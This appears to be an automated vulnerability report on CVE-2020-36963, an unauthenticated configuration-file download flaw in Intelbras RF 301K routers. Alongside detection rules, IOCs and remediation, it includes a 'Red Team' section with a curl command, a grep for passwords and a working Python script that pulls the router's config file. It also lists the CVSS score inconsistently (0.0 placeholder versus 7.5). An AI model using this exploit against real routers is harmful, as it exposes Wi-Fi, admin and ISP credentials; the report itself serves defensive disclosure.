CVE-2020-36963

Executive Summary

CVE-2020-36963 is a critical authentication bypass vulnerability in the Intelbras Router RF 301K firmware version 1.1.2. The flaw allows unauthenticated attackers to download the router's configuration file (RouterCfm.cfg) by sending a crafted HTTP GET request to /cgi-bin/DownloadCfg/RouterCfm.cfg. This configuration file contains sensitive data such as Wi-Fi passwords, administrative credentials, and network settings. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the ease of exploitation and potential for full network compromise. No patch is currently available from Intelbras, making affected devices highly vulnerable.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (Intelbras Router RF 301K). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and exposes highly sensitive configuration data. Attackers can leverage this to pivot into the internal network, perform credential stuffing, or launch further attacks.

Deep Dive & Mechanics

The Intelbras Router RF 301K firmware version 1.1.2 exposes a CGI endpoint /cgi-bin/DownloadCfg/RouterCfm.cfg that is intended for administrative use. However, the endpoint lacks any authentication or authorization checks. When an unauthenticated HTTP GET request is sent to this endpoint, the router responds with the full configuration file in plain text.

Root Cause: The CGI script does not validate the session or require any credentials before serving the configuration file. This is a classic example of CWE-306: Missing Authentication for Critical Function.

Attack Flow:

1. Attacker identifies an Intelbras RF 301K router (e.g., via Shodan or local network scanning).
2. Attacker sends a GET request to http://<router-ip>/cgi-bin/DownloadCfg/RouterCfm.cfg.
3. Router responds with the configuration file containing sensitive data (e.g., admin password, Wi-Fi PSK, PPPoE credentials).
4. Attacker uses extracted credentials to gain administrative access to the router or other network resources.

Impact: Full compromise of the router and potential lateral movement within the network. The configuration file may also reveal ISP credentials, enabling further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.1.2): The CGI script DownloadCfg does not check for authentication. A simplified representation:

// Vulnerable: No authentication check
int main() {
    char *config = read_config_file("/etc/RouterCfm.cfg");
    printf("Content-Type: text/plain\n\n");
    printf("%s", config);
    return 0;
}

Patched Code (Hypothetical): A patched version would require authentication before serving the file:

// Patched: Authentication required
int main() {
    if (!is_authenticated()) {
        printf("Status: 401 Unauthorized\n");
        printf("Content-Type: text/html\n\n");
        printf("<html><body>Unauthorized</body></html>");
        return 0;
    }
    char *config = read_config_file("/etc/RouterCfm.cfg");
    printf("Content-Type: text/plain\n\n");
    printf("%s", config);
    return 0;
}

Note: No official patch has been released by Intelbras as of this analysis.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target Intelbras RF 301K router with firmware 1.1.2
• Network access to the router (local or exposed via WAN)

Exploit Steps:

1. Identify the target router IP (e.g., 192.168.1.1).
2. Use curl to download the configuration file:

   curl http://192.168.1.1/cgi-bin/DownloadCfg/RouterCfm.cfg -o router_config.cfg
   

3. Parse the configuration file for credentials:

   grep -E "(password|passwd|psk|key)" router_config.cfg
   

4. Use extracted credentials to log into the router's web interface or SSH.

Automated Exploit Script (Python):

import requests
import sys

def exploit(target_ip):
    url = f"http://{target_ip}/cgi-bin/DownloadCfg/RouterCfm.cfg"
    try:
        r = requests.get(url, timeout=10)
        if r.status_code == 200:
            print("[+] Configuration file retrieved successfully")
            with open("router_config.cfg", "wb") as f:
                f.write(r.content)
            print("[+] Saved to router_config.cfg")
        else:
            print(f"[-] Failed with status code {r.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Blue Team (Defensive)

Detection:

• Monitor HTTP GET requests to /cgi-bin/DownloadCfg/RouterCfm.cfg from external IPs.
• Alert on any unauthenticated access to this endpoint.
• Use network segmentation to limit exposure of router management interfaces.

Honeypot: Deploy a fake endpoint that mimics the vulnerable CGI script to capture attacker behavior:

from flask import Flask, request
app = Flask(__name__)

@app.route('/cgi-bin/DownloadCfg/RouterCfm.cfg', methods=['GET'])
def honeypot():
    with open('/var/log/honeypot.log', 'a') as f:
        f.write(f"{request.remote_addr} - {request.method} {request.path}\n")
    return "Fake config data", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /cgi-bin/DownloadCfg/RouterCfm.cfg
• Source IPs scanning for Intelbras routers (common in Shodan scans)
• Unusual outbound connections from the router after config extraction

File IOCs:

• Configuration file named RouterCfm.cfg or router_config.cfg on attacker systems
• Presence of Intelbras-specific strings in downloaded files (e.g., admin_password, wifi_psk)

System IOCs:

• Unauthorized administrative logins to the router
• Changes to router settings (e.g., DNS, port forwarding) after credential theft

Detection Engineering

YARA Rule

rule Intelbras_Router_Config_Exfil {
    meta:
        description = "Detects attempts to download Intelbras router configuration via CVE-2020-36963"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-36963"
    strings:
        $http_get = "GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.1"
        $config_header = "admin_password"
        $config_wifi = "wifi_psk"
    condition:
        $http_get or ($config_header and $config_wifi)
}

Sigma Rule

title: Intelbras Router Config Download Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP GET requests to the vulnerable Intelbras router config endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/cgi-bin/DownloadCfg/RouterCfm.cfg'
    condition: selection
falsepositives:
    - Legitimate administrative access (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2020-36963 Intelbras Router Config Download Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/cgi-bin/DownloadCfg/RouterCfm.cfg"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected routers: Place them behind a firewall and restrict access to management interfaces to trusted IPs only.
2. Change default credentials: Immediately change all passwords and Wi-Fi keys if the router has been exposed.
3. Monitor logs: Check for any unauthorized access to the vulnerable endpoint.

Long-term Fix:

• Vendor patch: Intelbras has not released a patch. Contact Intelbras support and request a firmware update.
• Workaround: If possible, disable the CGI endpoint or implement a reverse proxy that requires authentication before forwarding requests to the router.
• Replace hardware: Consider replacing the router with a model that receives regular security updates.

Valters IT Signature:

This report was generated by Valters IT DevSecOps & CTI Expert System. For questions or further analysis, contact Valters IT.